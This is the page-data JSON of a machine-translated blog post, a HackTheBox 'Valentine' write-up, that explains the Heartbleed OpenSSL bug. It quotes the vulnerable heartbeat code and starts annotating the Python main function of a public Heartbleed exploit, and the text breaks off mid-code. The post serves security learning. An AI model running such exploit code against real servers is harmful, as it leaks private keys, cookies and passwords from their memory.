{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-linux-valentine-en","result":{"data":{"markdownRemark":{"id":"1a18411d-067f-56cd-88ba-486acdf42076","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/hackthebox-linux-valentine\">original page</a>.</p>\n</blockquote>\n<p>I enjoy studying security using “Hack The Box,” a penetration testing learning platform.\nMy Hack The Box rank at the time of writing is ProHacker.</p>\n<img src=\"http://www.hackthebox.eu/badge/image/327080\" alt=\"Hack The Box\">\n<p>In this article, I summarize what I learned about attacking the “Heartbleed (CVE-2014-0160)” vulnerability and how to remediate it for improved security, through solving a HackTheBox machine.</p>\n<p>“Valentine,” the machine I tackled this time, is the first machine I ever solved on HackTheBox.\nAt the time I solved it with almost no knowledge, following along with a writeup, and I always regretted never fully understanding the exploitation of “Heartbleed (CVE-2014-0160).”</p>\n<p>That’s why I wrote this article — I wanted to properly understand Heartbleed exploitation.</p>\n<!-- omit in toc -->\n<h2 id=\"about-this-article\" style=\"position:relative;\"><a href=\"#about-this-article\" aria-label=\"about this article permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>About This Article</h2>\n<p><strong>The content of this article is not intended to promote acts that violate social order.</strong></p>\n<p>Please be aware in advance that attempting to attack environments other than your own or environments for which you have permission may violate the “Act on Prohibition of Unauthorized Computer Access” (Unauthorized Access Prohibition Act).</p>\n<p>All opinions expressed are my own and do not represent those of any organization I belong to.</p>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li><a href=\"#what-is-heartbleed-cve-2014-0160\">What is Heartbleed (CVE-2014-0160)?</a></li>\n<li><a href=\"#many-attacks-observed-in-japan-too\">Many Attacks Observed in Japan Too</a></li>\n<li><a href=\"#the-heartbleed-mechanism\">The Heartbleed Mechanism</a></li>\n<li><a href=\"#reading-the-problematic-openssl-code\">Reading the Problematic OpenSSL Code</a></li>\n<li><a href=\"#1-retrieve-the-first-byte-of-received-data-as-hbtype\">1. Retrieve the first byte of received data as hbtype</a></li>\n<li><a href=\"#2-retrieve-bytes-23-of-received-data-as-payload-payload-length\">2. Retrieve bytes 2–3 of received data as payload (payload length)</a></li>\n<li><a href=\"#solving-hackthebox-valentine\">Solving HackTheBox [Valentine]</a></li>\n<li><a href=\"#reading-the-heartbleed-exploit-code\">Reading the Heartbleed Exploit Code</a></li>\n<li><a href=\"#main-function\">main function</a></li>\n<li><a href=\"#1-receiving-arguments\">1. Receiving arguments</a></li>\n<li><a href=\"#2-establish-connections-for-each-version-and-execute-create_hello\">2. Establish connections for each version and execute create_hello</a></li>\n<li><a href=\"#3-various-response-checks\">3. Various response checks</a></li>\n<li><a href=\"#4-sending-the-exploit\">4. Sending the exploit</a></li>\n<li><a href=\"#create_hello-function\">create_hello function</a></li>\n<li><a href=\"#recvmsg-function\">recvmsg function</a></li>\n<li><a href=\"#create_hb-function\">create_hb function</a></li>\n<li><a href=\"#bonus-building-a-vulnerable-openssl\">Bonus: Building a Vulnerable OpenSSL</a></li>\n<li><a href=\"#bonus-confirming-heartbeat-requests-and-responses\">Bonus: Confirming Heartbeat Requests and Responses</a></li>\n<li><a href=\"#summary\">Summary</a></li>\n<li><a href=\"#references\">References</a></li>\n<li><a href=\"#books\">Books</a></li>\n<li><a href=\"#web\">Web</a></li>\n</ul>\n<h3 id=\"theme-of-this-article\" style=\"position:relative;\"><a href=\"#theme-of-this-article\" aria-label=\"theme of this article permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Theme of This Article</h3>\n<p>The theme of this article is to learn the details of the vulnerability through reproducing “Heartbleed (CVE-2014-0160).”\nTherefore, please note that this is not a pure writeup.</p>\n<h2 id=\"what-is-heartbleed-cve-2014-0160\" style=\"position:relative;\"><a href=\"#what-is-heartbleed-cve-2014-0160\" aria-label=\"what is heartbleed cve 2014 0160 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>What is Heartbleed (CVE-2014-0160)?</h2>\n<p>“Heartbleed” is the name of an OpenSSL vulnerability discovered in 2014 that caused widespread damage.\nAt the time, vulnerable versions of OpenSSL were widely deployed, which is why it resulted in real damage worldwide.</p>\n<blockquote>\n<p>Heartbleed is a software bug in the open-source cryptographic library OpenSSL, discovered in April 2014. At the time, about 17% (~500,000) of web servers on the internet with certificates issued by trusted certificate authorities had the vulnerable Heartbeat extension enabled, potentially allowing server private keys, user session cookies, and passwords to be stolen.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Heartbleed\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Heartbleed - Wikipedia</a></p>\n</blockquote>\n<h3 id=\"many-attacks-observed-in-japan-too\" style=\"position:relative;\"><a href=\"#many-attacks-observed-in-japan-too\" aria-label=\"many attacks observed in japan too permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Many Attacks Observed in Japan Too</h3>\n<ul>\n<li><a href=\"https://www.sbbit.jp/article/cont1/27881\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Mitsubishi UFJ NICOS also reported damage — What Heartbleed means for businesses | Business+IT</a></li>\n<li><a href=\"https://enterprisezine.jp/iti/detail/6110\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Heartbleed attacks exceeded 1 million in one week after disclosure — IBM Japan Tokyo SOC H1 2014 Report | EnterpriseZine</a></li>\n</ul>\n<h3 id=\"the-heartbleed-mechanism\" style=\"position:relative;\"><a href=\"#the-heartbleed-mechanism\" aria-label=\"the heartbleed mechanism permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>The Heartbleed Mechanism</h3>\n<p>To actually perform the attack, we need to understand how the Heartbleed vulnerability is exploited.</p>\n<p><strong>Heartbleed exploits a bug in the “heartbeat” feature, introduced in OpenSSL 1.0.1, which is used to check that the communication peer is still running.</strong></p>\n<p>In the “heartbeat” feature, confirmation data up to 64KB is sent to verify SSL connectivity.\nThe receiving side uses that data as-is in its response, and the sender confirms operation by receiving the response.</p>\n<p>The issue here is that <strong>the receiving side does not validate the size of the confirmation data</strong>.</p>\n<p>This bug causes a problem where <strong>setting a payload length larger than what was actually sent causes memory beyond the payload buffer to be read and returned in the heartbeat response</strong>.</p>\n<p>By exploiting this, server information can be extracted in unintended ways.\nThe frightening aspect of this vulnerability is not only that server information (including private keys) may leak, but also that traces of the information disclosure are difficult to detect.</p>\n<p>For users, there is essentially no recourse other than assuming a data breach occurred and changing passwords and similar credentials.</p>\n<h2 id=\"reading-the-problematic-openssl-code\" style=\"position:relative;\"><a href=\"#reading-the-problematic-openssl-code\" aria-label=\"reading the problematic openssl code permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Reading the Problematic OpenSSL Code</h2>\n<p>According to <a href=\"https://www.ipa.go.jp/security/ciadr/vul/20140408-openssl.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">IPA: About Countermeasures for OpenSSL Vulnerability (CVE-2014-0160)</a>, the following versions of OpenSSL are affected:</p>\n<ul>\n<li>OpenSSL 1.0.1 through 1.0.1f</li>\n<li>OpenSSL 1.0.2-beta through 1.0.2-beta1</li>\n</ul>\n<p>So I decided to read the problematic code from <a href=\"https://github.com/openssl/openssl\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">openssl/openssl: TLS/SSL and crypto library</a>.</p>\n<p>After cloning the OpenSSL repository, running <code class=\"language-text\">git checkout refs/tags/OpenSSL_1_0_1f</code> moves you to the problematic branch.</p>\n<p>Searching the old source code for the string “heartbeat” revealed the problematic function.</p>\n<p>Let’s read through this problematic code now.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token macro property\"><span class=\"token directive-hash\">#</span> <span class=\"token directive keyword\">t</span><span class=\"token expression\"><span class=\"token number\">1</span>_lib<span class=\"token punctuation\">.</span>c</span></span>\n\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">ifndef</span> <span class=\"token expression\">OPENSSL_NO_HEARTBEATS</span></span>\n<span class=\"token keyword\">int</span> <span class=\"token function\">tls1_process_heartbeat</span><span class=\"token punctuation\">(</span>SSL <span class=\"token operator\">*</span>s<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n<span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">char</span> <span class=\"token operator\">*</span>p <span class=\"token operator\">=</span> <span class=\"token operator\">&amp;</span>s<span class=\"token operator\">-></span>s3<span class=\"token operator\">-></span>rrec<span class=\"token punctuation\">.</span>data<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">*</span>pl<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">short</span> hbtype<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">int</span> payload<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">int</span> padding <span class=\"token operator\">=</span> <span class=\"token number\">16</span><span class=\"token punctuation\">;</span> <span class=\"token comment\">/* Use minimum padding */</span>\n\n<span class=\"token comment\">/* Read type and payload length first */</span>\n    <span class=\"token comment\">// 1. Retrieve the first byte of received data as hbtype</span>\nhbtype <span class=\"token operator\">=</span> <span class=\"token operator\">*</span>p<span class=\"token operator\">++</span><span class=\"token punctuation\">;</span>\n    \n    <span class=\"token comment\">// 2. Retrieve bytes 2-3 of received data as payload (payload length)</span>\n<span class=\"token function\">n2s</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">,</span> payload<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\npl <span class=\"token operator\">=</span> p<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>hbtype <span class=\"token operator\">==</span> TLS1_HB_REQUEST<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n        <span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span>\nbuffer <span class=\"token operator\">=</span> <span class=\"token function\">OPENSSL_malloc</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span> <span class=\"token operator\">+</span> <span class=\"token number\">2</span> <span class=\"token operator\">+</span> payload <span class=\"token operator\">+</span> padding<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\nbp <span class=\"token operator\">=</span> buffer<span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">/* Enter response type, length and copy payload */</span>\n<span class=\"token operator\">*</span>bp<span class=\"token operator\">++</span> <span class=\"token operator\">=</span> TLS1_HB_RESPONSE<span class=\"token punctuation\">;</span>\n<span class=\"token function\">s2n</span><span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">,</span> bp<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        \n        <span class=\"token comment\">// 3. memcpy - reads information beyond the intended address</span>\n<span class=\"token function\">memcpy</span><span class=\"token punctuation\">(</span>bp<span class=\"token punctuation\">,</span> pl<span class=\"token punctuation\">,</span> payload<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\nbp <span class=\"token operator\">+=</span> payload<span class=\"token punctuation\">;</span>\n\n<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span></code></pre></div>\n<p>I have added comments for readability.</p>\n<p>Here are the items to examine next.</p>\n<h3 id=\"1-retrieve-the-first-byte-of-received-data-as-hbtype\" style=\"position:relative;\"><a href=\"#1-retrieve-the-first-byte-of-received-data-as-hbtype\" aria-label=\"1 retrieve the first byte of received data as hbtype permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>1. Retrieve the first byte of received data as hbtype</h3>\n<p><strong>The first byte of the heartbeat data contains a number indicating whether the data is a request or a response</strong>, and this is retrieved.\nSpecifically, it is defined in ssl_3.h as follows:</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token punctuation\">;</span> ssl_3<span class=\"token punctuation\">.</span>h\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">TLS1_HB_REQUEST1</span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">TLS1_HB_RESPONSE2</span></span></code></pre></div>\n<h3 id=\"2-retrieve-bytes-23-of-received-data-as-payload-payload-length\" style=\"position:relative;\"><a href=\"#2-retrieve-bytes-23-of-received-data-as-payload-payload-length\" aria-label=\"2 retrieve bytes 23 of received data as payload payload length permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>2. Retrieve bytes 2–3 of received data as payload (payload length)</h3>\n<p>Next, bytes 2 and 3 of the received data are retrieved using the <code class=\"language-text\">n2s()</code> macro and stored in <code class=\"language-text\">payload</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name function\">n2s</span><span class=\"token expression\"><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">,</span>s<span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span> <span class=\"token punctuation\">(</span> s <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">int</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">int</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">)</span> <span class=\"token punctuation\">,</span> c<span class=\"token operator\">+=</span><span class=\"token number\">2</span><span class=\"token punctuation\">)</span></span></span></code></pre></div>\n<p>I wondered why this was being done. It turns out that <strong>bytes 2 and 3 of the received data contain the total length of the payload</strong>.\nReference: <a href=\"https://stackabuse.com/heartbleed-bug-explained/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Heartbleed Bug Explained</a></p>\n<p>In other words, passing this payload length directly to memcpy without validation causes information from unintended memory regions to be included in the response.\nReference: <a href=\"https://www.jpcert.or.jp/sc-rules/c-arr33-c.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">ARR33-C. Guarantee that copies are made into storage of sufficient size</a></p>\n<p>With this, we have a rough understanding of the vulnerability mechanism, but one question remains:\n<strong>Why is the maximum amount of information obtainable in a single Heartbleed exploit said to be 64KB?</strong></p>\n<p>This is because the payload length field is 2 bytes.\nThe maximum value that can be inserted into a 2-byte payload length field in hexadecimal is FFFF.</p>\n<p>Since 2 bytes = 16 bits can represent addresses up to 64KB, <strong>the maximum information retrievable in one Heartbleed exploit is also 64KB</strong>.</p>\n<h2 id=\"solving-hackthebox-valentine\" style=\"position:relative;\"><a href=\"#solving-hackthebox-valentine\" aria-label=\"solving hackthebox valentine permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Solving HackTheBox [Valentine]</h2>\n<p>Now that we have a grasp of Heartbleed, let’s actually exploit this vulnerability to solve the HackTheBox Easy machine Valentine.</p>\n<p>However, since the theme this time is to reproduce the Heartbleed attack, I’ll skip most of the machine-solving procedure.\nFor detailed machine solution steps, I recommend <a href=\"https://qiita.com/yukitsukai47/items/e59407abd1e76fa48a24\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Hack The Box[Valentine] -Writeup- - Qiita</a> by <a href=\"https://qiita.com/yukitsukai47\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">yukitsukai47</a>, which is very clear.</p>\n<h2 id=\"reading-the-heartbleed-exploit-code\" style=\"position:relative;\"><a href=\"#reading-the-heartbleed-exploit-code\" aria-label=\"reading the heartbleed exploit code permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Reading the Heartbleed Exploit Code</h2>\n<p>I’d like to understand the actual exploitation method by looking at publicly available exploit code.</p>\n<p>The exploit code is based on <a href=\"https://www.exploit-db.com/exploits/32764\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">exploit-db.com/exploits/32764</a>.</p>\n<p>I won’t paste the entire code here, so please refer to that page as needed.</p>\n<h3 id=\"main-function\" style=\"position:relative;\"><a href=\"#main-function\" aria-label=\"main function permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>main function</h3>\n<p>Let me start by reading the main function to get a sense of the attack flow.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">def</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token comment\"># 1. Receiving arguments</span>\nopts<span class=\"token punctuation\">,</span> args <span class=\"token operator\">=</span> options<span class=\"token punctuation\">.</span>parse_args<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">if</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>args<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">:</span>\noptions<span class=\"token punctuation\">.</span>print_help<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">return</span>\n    \n    <span class=\"token comment\"># 2. Establish connections for each version and execute create_hello</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>version<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n<span class=\"token keyword\">print</span> <span class=\"token string\">'Trying '</span> <span class=\"token operator\">+</span> version<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> <span class=\"token string\">'...'</span>\ns <span class=\"token operator\">=</span> socket<span class=\"token punctuation\">.</span>socket<span class=\"token punctuation\">(</span>socket<span class=\"token punctuation\">.</span>AF_INET<span class=\"token punctuation\">,</span> socket<span class=\"token punctuation\">.</span>SOCK_STREAM<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span> <span class=\"token string\">'Connecting...'</span>\nsys<span class=\"token punctuation\">.</span>stdout<span class=\"token punctuation\">.</span>flush<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>connect<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>args<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> opts<span class=\"token punctuation\">.</span>port<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span> <span class=\"token string\">'Sending Client Hello...'</span>\nsys<span class=\"token punctuation\">.</span>stdout<span class=\"token punctuation\">.</span>flush<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>send<span class=\"token punctuation\">(</span>create_hello<span class=\"token punctuation\">(</span>version<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span> <span class=\"token string\">'Waiting for Server Hello...'</span>\nsys<span class=\"token punctuation\">.</span>stdout<span class=\"token punctuation\">.</span>flush<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n        \n        <span class=\"token comment\"># 3. Various response checks</span>\n<span class=\"token keyword\">while</span> <span class=\"token boolean\">True</span><span class=\"token punctuation\">:</span>\ntyp<span class=\"token punctuation\">,</span> ver<span class=\"token punctuation\">,</span> pay <span class=\"token operator\">=</span> recvmsg<span class=\"token punctuation\">(</span>s<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">if</span> typ <span class=\"token operator\">==</span> <span class=\"token boolean\">None</span><span class=\"token punctuation\">:</span>\n<span class=\"token keyword\">print</span> <span class=\"token 